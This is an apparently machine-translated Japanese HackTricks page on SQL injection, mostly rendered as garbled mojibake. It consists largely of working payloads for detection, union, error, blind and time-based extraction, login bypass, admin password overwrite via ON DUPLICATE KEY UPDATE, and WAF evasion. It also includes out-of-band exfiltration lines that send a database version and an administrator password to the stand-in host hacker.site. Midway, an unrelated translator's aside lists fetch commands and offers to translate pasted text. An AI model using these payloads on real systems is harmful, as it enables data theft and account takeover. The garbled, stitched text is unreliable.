SQL Injection
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
SQL injectionãšã¯äœã§ããïŒ
An SQL injectionã¯ãæ»æè ãã¢ããªã±ãŒã·ã§ã³ã®ããŒã¿ããŒã¹ã¯ãšãªã«å¹²æžã§ããããã«ããã»ãã¥ãªãã£äžã®æ¬ é¥ã§ãããã®è匱æ§ã«ãããæ»æè ã¯ä»ã®ãŠãŒã¶ãŒã®æ å ±ãã¢ããªã±ãŒã·ã§ã³ãã¢ã¯ã»ã¹ã§ããä»»æã®ããŒã¿ãå«ããæ¬æ¥ã¢ã¯ã»ã¹ãã¹ãã§ãªãããŒã¿ãé²èŠ§ãæ¹ç«ããŸãã¯åé€ããããšãå¯èœã«ãªããŸãããããã®è¡çºã¯ã¢ããªã±ãŒã·ã§ã³ã®æ©èœãã³ã³ãã³ãã«æä¹ çãªå€æŽãããããããšããããå Žåã«ãã£ãŠã¯ãµãŒããŒã®ä¹ã£åãã denial of service ã«è³ãããšããããŸãã
ãšã³ããªãã€ã³ãã®æ€åº
ãµã€ãã SQLi é¢é£ã®å ¥åã«å¯ŸããŠç°åžžãªãµãŒããŒå¿çã瀺ããSQL injection (SQLi) ã«å¯ŸããŠè匱ã«èŠããå Žåãæåã®ã¹ãããã¯ã¯ãšãªãå£ããã«ã©ã®ããã«ã¯ãšãªã«ããŒã¿ãæ³šå ¥ããããçè§£ããããšã§ããããã«ã¯çŸåšã®ã³ã³ããã¹ããã广çã«ãšã¹ã±ãŒãããæ¹æ³ãç¹å®ããå¿ èŠããããŸãã以äžã¯ããã€ãã®æçšãªäŸã§ã:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
次ã«ãfix the query so there isnât errorsæ¹æ³ãçè§£ããŠããå¿ èŠããããŸããqueryãä¿®æ£ããããã«ã¯ãinputããŒã¿ãäžããŠprevious query accept the new dataããã«ãããããŸãã¯åã«èªåã®ããŒã¿ãinputããŠè¡æ«ã«comment symbolãä»ããããšããæ¹æ³ããããŸãã
Note that if you can see error messages or you can spot differences when a query is working and when itâs not this phase will be more easy.
ã³ã¡ã³ã
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
è«çæŒç®ã«ãã確èª
SQL injection è匱æ§ã確èªããä¿¡é Œã§ããæ¹æ³ã®äžã€ã¯ãè«çæŒç®ãå®è¡ããŠæåŸ
ãããçµæã芳å¯ããããšã§ããäŸãã°ã?username=Peter ã®ãã㪠GET ãã©ã¡ãŒã¿ã ?username=Peter' or '1'='1 ã«å€æŽããŠãåäžã®å
容ãè¿ãå ŽåãSQL injection è匱æ§ãããããšã瀺ããŸãã
åæ§ã«ãæ°åŠçæŒç®ã®é©çšãæå¹ãªç¢ºèªææ³ãšãªããŸããäŸãã°ã?id=1 ãš ?id=2-1 ã«ã¢ã¯ã»ã¹ããŠåãçµæãåŸãããå Žåããã㯠SQL injection ã瀺åããŸãã
è«çæŒç®ã«ãã確èªã®äŸ:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
ãã®ã¯ãŒããªã¹ãã¯ãææ¡ãããæ¹æ³ã§SQLinjectionsã確èªããããã«äœæãããŸãã:
çã® SQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```ã¿ã€ãã³ã°ã§ã®ç¢ºèª
å Žåã«ãã£ãŠã¯ããã¹ãããŠããããŒãžã§å€åã«æ°ã¥ããªãããšããããŸãããããã£ãŠãDBã«åŠçãå®è¡ãããŠããŒãžã®èªã¿èŸŒã¿æéã«åœ±é¿ãäžããããšã§ãblind SQL injections ãçºèŠããã®ãè¯ãæ¹æ³ã§ãã
ããã§ãSQLã¯ãšãªå
ã§concatã䜿ã£ãŠãå®äºã«å€ãã®æéãèŠããåŠçãé£çµããŸã:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
å Žåã«ãã£ãŠã¯ãsleep functions ãèš±å¯ãããªãããšããããŸãããã®å Žåããããã®é¢æ°ã䜿çšãã代ããã«ãã¯ãšãªã«æ°ç§ããããããªè€éãªæäœãå®è¡ãããããšãã§ããŸãããããã®ææ³ã®äŸã¯åæè¡ããšã«ïŒè©²åœãããã°ïŒå¥é解説ããŸãã
ããã¯ãšã³ãã®ç¹å®
ããã¯ãšã³ããç¹å®ããæè¯ã®æ¹æ³ã¯ãç°ãªãããã¯ãšã³ãã®é¢æ°ãå®è¡ããŠã¿ãããšã§ããåç¯ã® sleep functions ã䜿ããããããã¯ä»¥äžã®ãã®ã䜿ãããšãã§ããŸãïŒtable from payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
ãŸããã¯ãšãªã®åºåã«ã¢ã¯ã»ã¹ã§ããå ŽåãããŒã¿ããŒã¹ã®ããŒãžã§ã³ã衚瀺ãããããšãã§ããŸãã
Tip
ä»åŸãããŸããŸãªçš®é¡ã®SQL Injectionãæªçšããããã®ç°ãªãææ³ã«ã€ããŠèª¬æããŸããäŸãšã㊠MySQL ã䜿çšããŸãã
PortSwigger ã䜿ã£ãèå¥
SQL injection cheat sheet | Web Security Academy
Exploiting Union Based
åæ°ã®æ€åº
ã¯ãšãªã®åºåãèŠããå Žåããããæã广çãªæªç𿹿³ã§ãã
ãŸãæåã«ãåæãªã¯ãšã¹ããè¿ããŠããåã®æ°ãç¹å®ããå¿
èŠããããŸããããã¯äž¡æ¹ã®ã¯ãšãªãåãåæ°ãè¿ãå¿
èŠãããããã§ãã
ãã®ç®çã®ããã«éåžž2ã€ã®æ¹æ³ã䜿ãããŸã:
Order/Group by
ã¯ãšãªã®åæ°ãå€å®ããã«ã¯ãORDER BY ã GROUP BY å¥ã§äœ¿ãçªå·ã段éçã«å¢ãããfalseïŒãšã©ãŒïŒã®å¿çãè¿ããããŸã§è©ŠããŸããSQLã«ããã GROUP BY ãš ORDER BY ã®æ©èœã¯ç°ãªããŸãããã©ã¡ããã¯ãšãªã®åæ°ãå€å®ããç®çã§ã¯åæ§ã«å©çšã§ããŸãã
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
null å€ãå¢ãããŠãã¯ãšãªãæ£ãããªããŸã§ç¶ãã:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
nullå€ã䜿çšããã¹ãã§ããå Žåã«ãã£ãŠã¯ã¯ãšãªã®äž¡åŽã®ã«ã©ã ã®åãåãã§ãªããã°ãªãããnull ã¯ããããå Žåã§æå¹ã§ãã
ããŒã¿ããŒã¹åãããŒãã«åãã«ã©ã åã®æœåº
次ã®äŸã§ã¯ããã¹ãŠã®ããŒã¿ããŒã¹åãããããŒã¿ããŒã¹ã®ããŒãã«åãããã³ããŒãã«ã®ã«ã©ã åãååŸããŸã:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
åããŒã¿ããŒã¹ããšã«ãã®ããŒã¿ãçºèŠããæ¹æ³ã¯ç°ãªãããæ¹æ³è«ã¯åžžã«åãã .
Exploiting Hidden Union Based
queryã®outputãèŠããŠããããunion-based injectionãéæã§ããªãããã«èŠããå Žåãããã¯hidden union-based injectionã®ååšã瀺ãããã®ç¶æ³ã¯ãã°ãã°blind injectionã«ã€ãªãããblind injectionãunion-basedãªãã®ã«å€æããã«ã¯ãããã¯ãšã³ãã§å®è¡ãããŠããexecution queryãç¹å®ããå¿ èŠãããã
ããã¯blind injection techniquesãšãã¿ãŒã²ããã®Database Management System (DBMS)ã«åºæã®default tablesã䜵çšããããšã§éæã§ããããããdefault tablesãçè§£ããã«ã¯ãã¿ãŒã²ããDBMSã®ããã¥ã¡ã³ããåç §ããããšãæšå¥šããã
queryãæœåºãããããŸãå ã®queryãå®å šã«éããããpayloadã調æŽããå¿ èŠãããããã®åŸãunion queryãpayloadã«è¿œå ããæ°ãã«å©çšå¯èœã«ãªã£ãunion-based injectionãæªçšããã
詳现ã¯ãå®å šãªèšäº Healing Blind Injections ãåç §ããŠãã ããã
Exploiting Error based
ããäœããã®çç±ã§ããªããcannot see the output of the query ã ããsee the error messagesãèŠããå Žåããããã®error messagesãå©çšããŠããŒã¿ããŒã¹ããããŒã¿ãex-filtrateããããšãã§ããã
Union Based exploitationãšåæ§ã®æµãã蟿ãã°ãDBãdumpããããšãå¯èœã«ãªãã
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQLi ãæªçšãã
ãã®å Žåãã¯ãšãªã®çµæããšã©ãŒã¯èŠããŸããããããŒãžã®å
容ãç°ãªããããã¯ãšãªãè¿ã****trueãŸãã¯falseã®å¿çãåºå¥ã§ããŸãã
ãã®æåãæªçšããŠãããŒã¿ããŒã¹ãæåããšã«ãã³ãã§ããŸã:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiting Error Blind SQLi
ããã¯åãšåãã±ãŒã¹ã§ãããã¯ãšãªã® true/false ã¬ã¹ãã³ã¹ãåºå¥ãã代ããã«ãSQL query ã«ããã error ã®æç¡ïŒäŸãã° HTTP server ãã¯ã©ãã·ã¥ããããïŒã§åºå¥ã§ããŸãããããã£ãŠããã®å Žåã¯æåïŒcharïŒãæ£ããæšæž¬ãããã³ã« SQLerror ã匷å¶ã§ããŸã:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Time Based SQLi ãæªçšãã
ãã®å ŽåãããŒãžã®ã³ã³ããã¹ãã«åºã¥ããŠã¯ãšãªã®ã¬ã¹ãã³ã¹ãåºå¥ããæ¹æ³ã¯ãããŸãããããããæšæž¬ããæåãæ£ãããã°ãããŒãžã®èªã¿èŸŒã¿ãé ãããããšãã§ããŸãããã§ã«ãã®ææ³ãconfirm a SQLi vulnã§äœ¿çšãããŠããã®ãèŠãŠããŸãã
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
You can use stacked queries to è€æ°ã®ã¯ãšãªãé£ç¶ããŠå®è¡ã§ããŸããNote that while the subsequent queries are executed, the çµæã¯ã¢ããªã±ãŒã·ã§ã³ã«è¿ãããŸãããHence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
Oracle 㯠stacked queries ããµããŒãããŠããŸãããMySQL, Microsoft ããã³ PostgreSQL ã¯ãµããŒãããŠããŸã: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
ããä»ã®ã©ã® ãšã¯ã¹ããã€ãææ³ãæåããªãã£ãå Žåãæ å ±ãããŒã¿ããŒã¹ããã®éåºïŒex-filtrateïŒã§ããªããå¶åŸ¡ããå€éšãã¹ããžéãããããšã詊ã¿ãããšãã§ããŸããäŸãã°ãDNSã¯ãšãªçµç±ã§ïŒ
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
XXE ãçšãã Out of band data exfiltration
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Automated Exploitation
SQLMap Cheatsheet ã確èªããŠãsqlmap ã§ SQLi è匱æ§ã exploit ããŠãã ããã
Tech specific info
æ¢ã« SQL Injection è匱æ§ã exploit ããæ¹æ³ã¯ãã¹ãŠè°è«ããŸãããæ¬æžã®ä»¥äžã®ç« ã§ããŒã¿ããŒã¹æè¡ããšã®è¿œå ããªãã¯ã確èªããŠãã ãã:
ãŸã㯠MySQLãPostgreSQLãOracleãMSSQLãSQLiteãHQL ã«é¢ãã倿°ã®ããªãã¯ã https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection ã§èŠã€ãããŸã
Authentication bypass
ãã°ã€ã³æ©èœã bypass ããããã«è©ŠãäžèЧ:
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
ãã®ã¯ãšãªã¯ãèªèšŒãã§ãã¯ã§ MD5 ã raw output çšã® true ãšããŠäœ¿çšããå Žåã®è匱æ§ã瀺ããŠãããã·ã¹ãã ã SQL injection ã«å¯ŸããŠè匱ã«ãªãããšãæããã«ããŸããæ»æè ã¯ãããã·ã¥åããéã«äºæããªã SQL ã³ãã³ãã®äžéšãçæãããããªå ¥åãäœæããŠãããæªçšããäžæ£ã¢ã¯ã»ã¹ãåŒãèµ·ããããšãã§ããŸãã
md5("ffifdyop", true) = 'or'6ᅵ]ᅵᅵ!r,ᅵᅵbᅵ
sha1("3fDf ", true) = Qᅵu'='ᅵ@ᅵ[ᅵtᅵ- oᅵᅵ_-!
Injected hash authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
æšå¥šãªã¹ã:
You should use as username each line of the list and as password always: Pass1234.
(ãããã® payloads ã¯ãã®ã»ã¯ã·ã§ã³ã®åé ã§èšåãã big list ã«ãå«ãŸããŠããŸã)
GBK Authentication Bypass
ãã â ããšã¹ã±ãŒããããŠããå Žå㯠%A8%27 ã䜿ãããšãã§ããŸãããŸã â ããšã¹ã±ãŒãããããšæ¬¡ã®ããã«äœæãããŸã: 0xA80x5c0x27 (ââ)
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python ã¹ã¯ãªãã:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert Statement
Modify password of existing object/user
ãã®ãããäœãã倿ŽããŠããã¹ã¿ãŒãªããžã§ã¯ããšåãååã®æ°ãããªããžã§ã¯ããäœæããããšã詊ã¿ãŠãã ããïŒãŠãŒã¶ãŒã®å Žåã¯ãããã adminïŒïŒ
- 次ã®ãŠãŒã¶ãŒåã§äœæãã: AdMIn (倧æåãšå°æå)
- 次ã®ãŠãŒã¶ãŒåã§äœæãã: admin=
- SQL Truncation Attack (ãŠãŒã¶ãŒåãã¡ãŒã«ã«äœããã®é·ãå¶éãããå Žå) â> 以äžã®ååã®ãŠãŒã¶ãŒãäœæ: admin [a lot of spaces] a
SQL Truncation Attack
ããããŒã¿ããŒã¹ãè匱ã§ããŠãŒã¶ãŒåã®æå€§æåæ°ãäŸãã°30ã§ããŠãŒã¶ãŒ admin ããªãããŸãããå Žåã¯ããŠãŒã¶ãŒåã âadmin [30 spaces] aâ ã«ããŠä»»æã®ãã¹ã¯ãŒããèšå®ããŠã¿ãŠãã ããã
ããŒã¿ããŒã¹ã¯å°å ¥ããããŠãŒã¶ãŒåãããŒã¿ããŒã¹å ã«ååšãããã確èªããŸããããååšããªãå ŽåããŠãŒã¶ãŒåã蚱容ãããæå€§æåæ°ã«åãè©°ããŸãïŒãã®å Žåã¯: âadmin [25 spaces]âïŒãããŠæ«å°Ÿã®ãã¹ãŠã®ã¹ããŒã¹ãèªåçã«åé€ããŠããŒã¿ããŒã¹å ã®ãŠãŒã¶ãŒâadminâã®ãã¹ã¯ãŒããæŽæ°ããŸãïŒãšã©ãŒãåºãããšããããŸãããæåããŠããªããšããæå³ã§ã¯ãããŸããïŒã
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
VALUES ã¹ããŒãã¡ã³ãããæããããã«ã','','' ãå¿
èŠãªã ã远å ããŸããé
å»¶ãå®è¡ãããã°ãSQLInjection ãååšããŸãã
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
MySQLã®ON DUPLICATE KEY UPDATEå¥ã¯ãè¡ã®æ¿å
¥ãUNIQUEã€ã³ããã¯ã¹ãŸãã¯PRIMARY KEYã«éè€ããå€ãçããããå Žåã«ãããŒã¿ããŒã¹ãå®è¡ããåŠçãæå®ããããã«äœ¿çšãããŸããæ¬¡ã®äŸã¯ããã®æ©èœãæªçšããŠç®¡çè
ã¢ã«ãŠã³ãã®ãã¹ã¯ãŒãã倿Žããæ¹æ³ã瀺ããŠããŸãïŒ
Example Payload Injection:
An injection payloadã¯æ¬¡ã®ããã«äœæãããããšããããusersããŒãã«ã«2è¡ãæ¿å
¥ããããšããŸããæåã®è¡ã¯ãã³ã€ã§ã2è¡ç®ã¯æ¢åã®ç®¡çè
ã®ã¡ãŒã«ã¢ãã¬ã¹ãçã£ãŠãã¹ã¯ãŒããæŽæ°ããããšãç®çãšããŠããŸãïŒ
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
ä»çµã¿ã¯æ¬¡ã®éãã§ã:
- ãã®ã¯ãšãªã¯2ã€ã®è¡ãæ¿å
¥ããããšããŸã: 1ã€ã¯
generic_user@example.comçšããã1ã€ã¯admin_generic@example.comçšã§ãã - ãã
admin_generic@example.comã®è¡ãæ¢ã«ååšããå ŽåãON DUPLICATE KEY UPDATEå¥ãçºåããMySQL ã«æ¢åè¡ã®passwordãã£ãŒã«ãã âbcrypt_hash_of_newpasswordâ ã«æŽæ°ããããæç€ºããŸãã - çµæãšããŠã
admin_generic@example.comãšãã® bcrypt ããã·ã¥ã«å¯Ÿå¿ãããã¹ã¯ãŒãã䜿ã£ãŠèªèšŒã詊ã¿ãããšãã§ããŸãïŒâbcrypt_hash_of_newpasswordâ ã¯æ°ãããã¹ã¯ãŒãã® bcrypt ããã·ã¥ã衚ããŠãããå®éã«äœ¿çšããããã¹ã¯ãŒãã®ããã·ã¥ã«çœ®ãæããå¿ èŠããããŸãïŒã
æ å ±ãæœåºãã
åæã«2ã€ã®ã¢ã«ãŠã³ããäœæãã
æ°ãããŠãŒã¶ãŒãäœæããéãusernameãpasswordãemail ãå¿ èŠã§ã:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
10鲿°ãŸãã¯16鲿°ã䜿çšãã
ãã®æè¡ã§ã¯ãã¢ã«ãŠã³ãã1ã€äœæããã ãã§æ å ±ãæœåºã§ããŸããã³ã¡ã³ãã¢ãŠãããå¿ èŠã¯ãªãç¹ã«æ³šæããŠãã ããã
hex2dec ãš substr ã䜿çšãã:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
ããã¹ããååŸããã«ã¯ã次ã®ããããã䜿çšã§ããŸãïŒ
- git clone + cat
git clone <REPO_URL>
cat <PATH/TO/src/pentesting-web/sql-injection/README.md>
- git showïŒãªã¢ãŒãã®ç¹å®ãã©ã³ããã³ãããããïŒ
git -C <LOCAL_REPO_PATH> show <BRANCH_OR_COMMIT>:src/pentesting-web/sql-injection/README.md
- curlïŒraw ãã¡ã€ã« URL ãããå ŽåïŒ
curl -sL "<RAW_FILE_URL>" -o README.md
cat README.md
- wgetïŒraw ãã¡ã€ã« URL ãããå ŽåïŒ
wget -qO README.md "<RAW_FILE_URL>"
cat README.md
- gh CLIïŒGitHub ã®å ŽåïŒ
gh repo clone <OWNER/REPO>
cat src/pentesting-web/sql-injection/README.md
- ãªããžããªãããŒã«ã«ã«ããããã¡ã€ã«å ã®äžéšã ãæ¬²ããå ŽåïŒäŸ: head/tail/sedïŒ
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
# ãŸãã¯
head -n 200 src/pentesting-web/sql-injection/README.md
å¿ èŠãªããååŸããå 容ãããã«è²Œã£ãŠããã ããã°ç¿»èš³ããŸãã
__import__('binascii').unhexlify(hex(215573607263)[2:])
hex ãš replaceïŒããã³ substrïŒã䜿çšãã:
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection ã¯ãinjectable query èªäœãåºåãè¿ãã®ã§ã¯ãªãããã® injectable query ã®åºåãåºåãè¿ãå¥ã® query ã«æž¡ãããç¶æ³ã§ãã (From Paper)
äŸ:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - bypassïŒç©ºçœã®ä»£æ¿æåã䜿çšïŒ
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - ã³ã¡ã³ãã䜿ã£ã bypass
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - parenthesis ã䜿ã£ã bypass
?id=(1)and(1)=(1)--
No commas bypass
No Comma - OFFSET, FROM and JOIN ã䜿çšãããã€ãã¹
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Generic Bypasses
ããŒã¯ãŒãã䜿çšããBlacklist - uppercase/lowercase ã䜿ã£ãŠbypass
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist ã keywords ã case insensitive ã«äœ¿çšããŠããå Žå - equivalent operator ã䜿ã£ãŠ bypass ãã
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass
ãã®ããªãã¯ã®è©³çްãªèª¬æã¯ gosecure blog.
åºæ¬çã«ãscientific notation ãäºæããªãæ¹æ³ã§çšããããšã§ WAF ãåé¿ã§ããŸã:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
ã«ã©ã åå¶éã®åé¿
ãŸããå
ã®ã¯ãšãªãšãã©ã°ãæœåºãããããŒãã«ãåãæ°ã®ã«ã©ã ãæã€å Žåãåã«æ¬¡ã®ããã«ã§ããããšã«æ³šæããŠãã ãã: 0 UNION SELECT * FROM flag
次ã®ãããªã¯ãšãªã䜿ãããšã§ãååã䜿ããã«ããŒãã«ã®3çªç®ã®ã«ã©ã ã«ã¢ã¯ã»ã¹ããããšãå¯èœã§ã: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;ããããã£ãŠãsqlinjectionã§ã¯æ¬¡ã®ããã«ãªããŸã:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
ãŸã㯠comma bypass ã䜿çšããïŒ
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
ãã®ããªãã¯ã¯ https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ ããåãããŸãã
Column/tablename injection in SELECT list via subqueries
